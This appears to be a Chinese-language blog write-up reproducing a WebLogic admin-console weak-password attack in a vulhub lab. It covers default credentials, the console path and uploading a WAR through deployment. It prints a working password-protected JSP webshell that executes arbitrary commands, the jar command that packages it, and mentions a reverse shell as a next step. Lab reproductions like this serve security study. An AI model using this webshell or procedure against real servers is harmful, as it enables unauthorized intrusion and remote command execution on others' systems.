漏洞描述
Oracle WebLogic Server是Oracle 公司目前开发的Java EE 应用服务器,类似于tomcat
tomcat中存在后台上传war包getshell漏洞,同样weblogic服务也存在该漏洞,通常weblogic
有以下特征
- 默认端口为:
7001
- 特有的报错回显
- 后台目录为
/console/login/LoginForm.jsp
后台默认密码为用户名密码为weblogic
,也有一些常用的弱密码访问https://cirt.net/passwords?criteria=weblogic
查看
漏洞复习
使用vulhub
来复现该漏洞,vulhub
中该环境的用户名为weblogic
密码为Oracle@123
cd vulhub/weblogic/weak_password
sudo docker-compose up -d
启动后访问7001端口默认404
报错页面
访问/console/login/LoginForm.jsp
目录使用用户名和密码登录,登录成功后点击部署
点击安装,选择本地文件,然后一直下一步完成,中间可能要设置项目名称,就是需要访问的目录的名称,如果不设置默认就是上传war
文件的文件名
jsp木马有很多类型,这里我们手动封装一个
<%
if ("ocean".equals(request.getParameter("pwd"))) {
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while ((a = in.read(b)) != -1) {
out.print(new String(b));
}
out.print("</pre>");
}
%>
打包为war
文件
jar cvf test.war test.jsp
上传war
文件
项目已经部署完成了,这时只需要访问就可以执行命令,注意连接的密码为ocean
成功利用
这里有很多的思路,例如直接上传webshell
,使用连接工具连接
也可以直接上传reverse-shell
代码,获得一个shell
实验结束。
标签:getshell,密码,漏洞,weblogic,jsp,上传,war From: https://www.cnblogs.com/Junglezt/p/18125656